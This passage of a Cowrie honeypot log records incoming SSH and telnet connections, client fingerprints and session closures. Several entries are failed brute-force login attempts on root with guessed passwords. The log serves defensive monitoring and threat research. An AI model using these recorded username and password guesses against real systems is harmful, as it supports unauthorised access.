.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:44.433921Z","src_ip":"103.173.227.57","session":"3b86ecfd06a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irina123","message":"login attempt [root/irina123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:45.152699Z","src_ip":"103.173.227.57","session":"3b86ecfd06a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:46.395860Z","src_ip":"103.173.227.57","session":"3b86ecfd06a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":43706,"dst_ip":"159.203.135.109","dst_port":22,"session":"6efa2f96b132","protocol":"ssh","message":"New connection: 43.135.182.46:43706 (159.203.135.109:22) [session: 6efa2f96b132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:48.640091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:48.644447Z","src_ip":"43.135.182.46","session":"6efa2f96b132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:48.713691Z","src_ip":"43.135.182.46","session":"6efa2f96b132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc_123","message":"login attempt [root/Abc_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:49.023236Z","src_ip":"43.135.182.46","session":"6efa2f96b132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42796,"dst_ip":"10.17.0.5","dst_port":23,"session":"02d2b6815705","protocol":"telnet","message":"New connection: 192.119.13.58:42796 (10.17.0.5:23) [session: 02d2b6815705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:49.680920Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:50.098815Z","src_ip":"43.135.182.46","session":"6efa2f96b132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46278,"dst_ip":"10.17.0.5","dst_port":23,"session":"35d88963fcc5","protocol":"telnet","message":"New connection: 192.119.13.58:46278 (10.17.0.5:23) [session: 35d88963fcc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:57.768308Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47778,"dst_ip":"10.17.0.5","dst_port":23,"session":"084aa6ffd87d","protocol":"telnet","message":"New connection: 192.119.13.58:47778 (10.17.0.5:23) [session: 084aa6ffd87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:58.155332Z"}
{"eventid":"cowrie.session.closed","duration":42.71180844306946,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:11:58.988604Z","src_ip":"192.119.13.58","session":"0ebeac7551ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.66317272186279,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:00.227893Z","src_ip":"192.119.13.58","session":"8464ba6a5259","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33924,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd406976c104","protocol":"telnet","message":"New connection: 192.119.13.58:33924 (10.17.0.5:23) [session: dd406976c104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:01.982472Z"}
{"eventid":"cowrie.session.closed","duration":53.66765284538269,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:02.826540Z","src_ip":"192.119.13.58","session":"763fda1d5f0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.33373808860779,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:07.832828Z","src_ip":"192.119.13.58","session":"9fe5774afcdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56594,"dst_ip":"10.17.0.5","dst_port":23,"session":"a29fd6c9b8d7","protocol":"telnet","message":"New connection: 192.119.13.58:56594 (10.17.0.5:23) [session: a29fd6c9b8d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:07.881188Z"}
{"eventid":"cowrie.session.closed","duration":42.48156809806824,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:09.118606Z","src_ip":"192.119.13.58","session":"00c8cf832bcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36084,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c0bb95ea233","protocol":"telnet","message":"New connection: 192.119.13.58:36084 (10.17.0.5:23) [session: 8c0bb95ea233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:09.800385Z"}
{"eventid":"cowrie.session.closed","duration":46.003108501434326,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:10.086651Z","src_ip":"192.119.13.58","session":"175f1078a4c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.08468270301819,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:13.397511Z","src_ip":"192.119.13.58","session":"db569084a9bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57154,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b647738469f","protocol":"telnet","message":"New connection: 192.119.13.58:57154 (10.17.0.5:23) [session: 2b647738469f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:14.895996Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40194,"dst_ip":"10.17.0.5","dst_port":23,"session":"384c0e2a30fd","protocol":"telnet","message":"New connection: 192.119.13.58:40194 (10.17.0.5:23) [session: 384c0e2a30fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:17.731695Z"}
{"eventid":"cowrie.session.closed","duration":48.97377896308899,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:18.004766Z","src_ip":"192.119.13.58","session":"7fd30cb62684","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8266079425811768,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:19.558154Z","src_ip":"192.119.13.58","session":"384c0e2a30fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40670,"dst_ip":"10.17.0.5","dst_port":22,"session":"f831a64642ed","protocol":"ssh","message":"New connection: 80.94.92.184:40670 (10.17.0.5:22) [session: f831a64642ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:22.069269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:22.153554Z","src_ip":"80.94.92.184","session":"f831a64642ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:22.288428Z","src_ip":"80.94.92.184","session":"f831a64642ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59810,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bf5532d8dc0","protocol":"telnet","message":"New connection: 192.119.13.58:59810 (10.17.0.5:23) [session: 9bf5532d8dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:22.801812Z"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:22.835721Z","src_ip":"80.94.92.184","session":"f831a64642ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":44532,"dst_ip":"159.203.135.109","dst_port":22,"session":"6840cf045b70","protocol":"ssh","message":"New connection: 103.122.221.179:44532 (159.203.135.109:22) [session: 6840cf045b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:23.175745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:23.180354Z","src_ip":"103.122.221.179","session":"6840cf045b70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:23.445278Z","src_ip":"103.122.221.179","session":"6840cf045b70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"matilda","message":"login attempt [root/matilda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:24.261874Z","src_ip":"103.122.221.179","session":"6840cf045b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:24.280383Z","src_ip":"80.94.92.184","session":"f831a64642ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38070,"dst_ip":"10.17.0.5","dst_port":23,"session":"46122bc945a1","protocol":"telnet","message":"New connection: 192.119.13.58:38070 (10.17.0.5:23) [session: 46122bc945a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:24.524908Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:25.530514Z","src_ip":"103.122.221.179","session":"6840cf045b70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49446,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0bf83288e1a","protocol":"telnet","message":"New connection: 192.119.13.58:49446 (10.17.0.5:23) [session: e0bf83288e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:27.508432Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":44948,"dst_ip":"159.203.135.109","dst_port":22,"session":"4079a157160e","protocol":"ssh","message":"New connection: 103.166.103.173:44948 (159.203.135.109:22) [session: 4079a157160e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:33.885712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:33.891952Z","src_ip":"103.166.103.173","session":"4079a157160e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.92848181724548,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:34.083730Z","src_ip":"192.119.13.58","session":"084aa6ffd87d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:34.137262Z","src_ip":"103.166.103.173","session":"4079a157160e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.81998133659363,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:34.500775Z","src_ip":"192.119.13.58","session":"02d2b6815705","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123","message":"login attempt [root/aa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:35.148041Z","src_ip":"103.166.103.173","session":"4079a157160e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:36.399323Z","src_ip":"103.166.103.173","session":"4079a157160e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34556,"dst_ip":"10.17.0.5","dst_port":23,"session":"b051cc1dec0f","protocol":"telnet","message":"New connection: 192.119.13.58:34556 (10.17.0.5:23) [session: b051cc1dec0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:38.342806Z"}
{"eventid":"cowrie.session.closed","duration":41.38847756385803,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:43.370811Z","src_ip":"192.119.13.58","session":"dd406976c104","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51046,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc8c0dbfb7e8","protocol":"telnet","message":"New connection: 192.119.13.58:51046 (10.17.0.5:23) [session: fc8c0dbfb7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:43.828066Z"}
{"eventid":"cowrie.session.closed","duration":46.26864194869995,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:44.036856Z","src_ip":"192.119.13.58","session":"35d88963fcc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35380,"dst_ip":"10.17.0.5","dst_port":23,"session":"00b6019fd254","protocol":"telnet","message":"New connection: 192.119.13.58:35380 (10.17.0.5:23) [session: 00b6019fd254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:45.874427Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":41750,"dst_ip":"159.203.135.109","dst_port":22,"session":"2381f34f2216","protocol":"ssh","message":"New connection: 103.210.22.17:41750 (159.203.135.109:22) [session: 2381f34f2216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:46.068640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:46.074206Z","src_ip":"103.210.22.17","session":"2381f34f2216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:47.837379Z","src_ip":"103.210.22.17","session":"2381f34f2216","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marco","message":"login attempt [root/marco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:48.491337Z","src_ip":"103.210.22.17","session":"2381f34f2216","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:49.713145Z","src_ip":"103.210.22.17","session":"2381f34f2216","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":35812,"dst_ip":"10.17.0.5","dst_port":22,"session":"09af1639daeb","protocol":"ssh","message":"New connection: 89.223.69.22:35812 (10.17.0.5:22) [session: 09af1639daeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:51.083255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:12:51.088399Z","src_ip":"89.223.69.22","session":"09af1639daeb","protocol":"ssh"}
